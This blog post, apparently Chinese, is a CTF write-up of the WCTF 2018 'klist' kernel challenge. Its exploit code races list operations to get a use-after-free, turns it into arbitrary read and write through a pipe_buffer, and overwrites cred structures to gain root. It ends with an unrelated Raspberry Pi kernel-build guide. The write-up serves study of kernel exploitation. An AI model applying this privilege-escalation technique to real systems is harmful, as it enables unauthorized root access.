linux kernal pwn WCTF 2018 klist(二)

这篇博客详细介绍了如何利用一个未初始化的缓冲区(UAF)和管道(pipe)结构体,实现从UAF到任意地址读写,最终修改cred结构体以达到权限提升的目的。通过fork子进程和主进程的竞争,利用添加、选择和移除item操作触发条件竞争,创建UAF,然后通过pipe申请内存空间,改变item大小,并搜索cred结构体进行修改。整个过程涉及内核编程、权限控制和内存管理等多个方面。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

稍微回顾一下

我们试图利用一个uaf
再利用一个pipe结构体来让uaf转成任意地址读写。
最后还是通过搜索cred结构体,修改cred结构体来提权

跟着大佬exp学习一下
首先是ha1vk大佬的

#define PIPE_BUFFER_SIZE 0x280
#define BUF_SIZE PIPE_BUFFER_SIZE
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];
 
void fillBuf() {
   memset(bufA,'a',BUF_SIZE);
   memset(bufB,'b',BUF_SIZE);
}

int fd;
void initFD() {
   fd = open("/dev/klist",O_RDWR);
   if (fd < 0) {
      printf("[-]open file error!!\n");
      exit(-1);
   }
}

   initFD();
   fillBuf();
   addItem(bufA,BUF_SIZE-24);
   selectItem(0);

首先我们通过查阅源码知道pipe_buf大小是0x280
然后正常打开了驱动文件
fillbuf函数也是正常的填充了两个buf数组 数组的大小都是0x280

然后添加了一个item
item的大小也控制成了0x280
然后用selectitem将其选中

int pid = fork();
   if (pid < 0) {
      printf("[-]fork error!!\n");
      exit(-1);
   } else if (pid == 0) {
      for (int i=0;i<200;i++) {
         if (fork() == 0) {
            checkWin(i+1);
         }
      }
      while (1) {
         //与主线程的listHead竞争
         addItem(bufA,BUF_SIZE-24);
         selectItem(0);
         removeItem(0);
         addItem(bufB,BUF_SIZE-24);
         listRead(buf2,BUF_SIZE-24);
         if (buf2[0] != 'a') {
            printf("race compete in child process!!\n");
            break;
         }
         removeItem(0);
      }
      sleep(1);
      
      removeItem(0); //把空间腾出来
      int pfd[2];
      pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
      write(pfd[1],bufB,BUF_SIZE);
      size_t memLen = 0x1000000;
      uint32_t *data = (uint32_t *)calloc(1,memLen);
      listRead(data,memLen);
      int count = 0;
      size_t maxLen = 0;
      for (int i=0;i<memLen/4;i++) {
         if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
            memset(data+i,0,28);
            maxLen = i;
            printf("[+]found cred!!\n");
            if (count ++ > 2) {
               break;
            }
         }
      }
      listWrite(data,maxLen * 4);
      checkWin(0);
 
   } else { //主线程
      while (1) {
         listHead(buf);
         listRead(buf,BUF_SIZE-24);
         if(buf[0] != 'a')
            break;
      }
   }
   return 0;

然后直接一个if结构就都写完了
首先是fork一个子进程。
在子进程中继续打开200个子进程,子进程做的是就是

void checkWin(int i) {
   while (1) {
      sleep(1);
      if (getuid() == 0) {
         printf("Rooted in subprocess [%d]\n",i);
         system("cat flag"); 
         exit(0);
      }
   }
}

不停的检查线程是否提权成功

然后这个子进程开始进入一个死循环试图与主进程竞争
主进程做的事情就是

while (1) {
         listHead(buf);
         listRead(buf,BUF_SIZE-24);
         if(buf[0] != 'a')
            break;
      }

不停的选中head,然后读一下
期待那个时候另一个线程进来完成条件竞争

判断有没有竞争成功的条件是被选中的那个item里面的内容有没有发生变化
所以就试着读一下看看 发生变化就不是a了 就说明成功了
就break。

子进程做的事情就是

while (1) {
         //与主线程的listHead竞争
         addItem(bufA,BUF_SIZE-24);
         selectItem(0);
         removeItem(0);
         addItem(bufB,BUF_SIZE-24);
         listRead(buf2,BUF_SIZE-24);
         if (buf2[0] != 'a') {
            printf("race compete in child process!!\n");
            break;
         }
         removeItem(0);
      }

它首先添加一个item,里面全部塞满了字母a
就是利用这个item去竞争
如果竞争成功
会造成uaf
它会被释放
但是链表里面还有它
所以就把它选中
再释放掉再申请回来 并写上b
如果竞争成功被选中的那个里面内容也会更改
即可完成利用。

这里两个remove的原因
其实就是为了不让它在不停的while中疯狂的消耗内存空间。

条件竞争创建uaf之后做了个啥事?
子线程继续运行这样的程序

      removeItem(0); //把空间腾出来
      int pfd[2];
      pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
      write(pfd[1],bufB,BUF_SIZE);
      size_t memLen = 0x1000000;
      uint32_t *data = (uint32_t *)calloc(1,memLen);
      listRead(data,memLen);
      int count = 0;
      size_t maxLen = 0;
      for (int i=0;i<memLen/4;i++) {
         if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
            memset(data+i,0,28);
            maxLen = i;
            printf("[+]found cred!!\n");
            if (count ++ > 2) {
               break;
            }
         }
      }
      listWrite(data,maxLen * 4);
      checkWin(0);

首先把刚刚申请的里面放满b的都object释放掉

然后开了一个pipe数组
两个成员分别是管道的两端

这里不熟悉管道的可以先去学学管道

申请管道之后就是申请到了那个0x280的uaf结构体。
通过写管道,把管道的len改一下
本身这个len不大
但是len是dowrd 再加上offset的dword是0
凑一起就变成了很大的size
完成了对item结构体改大size的任务。

然后申请一个大块 开始read
读进来搜索 查找。
然后listwrite写一下。对cred结构体修改成功。

修改成功之后上面还有线程创建时候一直的一个checkwin函数
还在那偶尔动一动看看自己权限高没高

其他

其实里面有个问题我们没有讨论
我们之前在hackme的时候说cred在kernal_base上面
slab在下面

包括很多师傅exp中都有提到刚开始直接申请0x200个cred结构体是为了让它分配到slab下面的位置给我们溢出的机会。
但是看半天感觉还是没有提到这是为啥
所以我想能不能调进去看一看
看看这究竟是咋回事。
所以就有了(三)

因为内核4.5之后为了防止像ciscn2017 babydriver那样直接通过uaf就能申请到cred,内核将cred-jar与slab做了分离。
但是cred-jar毕竟有限,就要多多申请。

### 编译树莓派Linux内核 #### 准备工作 为了成功编译树莓派的Linux内核,首先需要准备合适的开发环境以及必要的工具链。对于树莓派而言,推荐的方式是从GitHub仓库获取最新的内核源码并利用交叉编译工具来进行编译。 可以通过如下命令来克隆官方维护的Linux内核仓库至本地机器上的`Linux`目录中[^2]: ```bash sudo git clone https://github.com/raspberrypi/linux ~/linux-rpi ``` #### 配置内核选项 完成源码下载之后,进入所创建的工作目录,并通过菜单配置界面调整所需的内核特性设置: ```bash cd ~/linux-rpi make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcmrpi_defconfig make menuconfig ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- ``` 上述指令中的`ARCH=arm`指定了目标架构为ARM处理器;而`CROSS_COMPILE=arm-linux-gnueabihf-`则定义了用于构建过程的前缀名,这通常对应于已安装好的交叉编译器路径。 #### 执行实际编译流程 当所有的预处理步骤完成后,就可以启动正式的编译操作了。考虑到整个过程中可能会消耗较多的时间资源,在此之前建议确认系统有足够的磁盘空间可用。 执行下面这条命令可以开始编译新版本的内核及其模块文件: ```bash make -j$(nproc) zImage modules dtbs ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- ``` 这里的参数解释如下: - `-j$(nproc)`:自动检测CPU核心数并行化加速编译速度; - `zImage`:生成压缩后的可引导映像; - `modules`:一同打包驱动程序等附加组件; - `dtbs`:设备树进制文件集合。 #### 安装更新后的内核及相关文件 一旦编译顺利完成,则需将产生的成果部署到SD卡当中以便后续加载应用。假设当前已经连接好存储介质并且挂载到了某个位置(比如/mnt/sdcard),那么继续按照下述方法操作即可实现目的。 先复制主要部分过去: ```bash sudo cp arch/arm/boot/zImage /mnt/sdcard/kernel7.img sudo cp arch/arm/boot/dts/*.dtb /mnt/sdcard/ sudo cp arch/arm/boot/dts/overlays/*.dtb* /mnt/sdcard/overlays/ sudo cp arch/arm/boot/dts/overlays/README /mnt/sdcard/overlays/ ``` 接着把自定义过的模块也同步进去: ```bash sudo make INSTALL_MOD_PATH=/mnt/sdcard modules_install ``` 最后不要忘记卸载分区再安全移除硬件装置: ```bash sync && sudo umount /mnt/sdcard ``` #### 测试验证新的内核是否生效 插入含有最新版系统的microSD卡片回到主机板插槽里头,开机重启后可通过查看日志消息判断是否正确启用了预期之外的新内核版本。 ```bash dmesg | grep 'Kernel version' uname -a ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值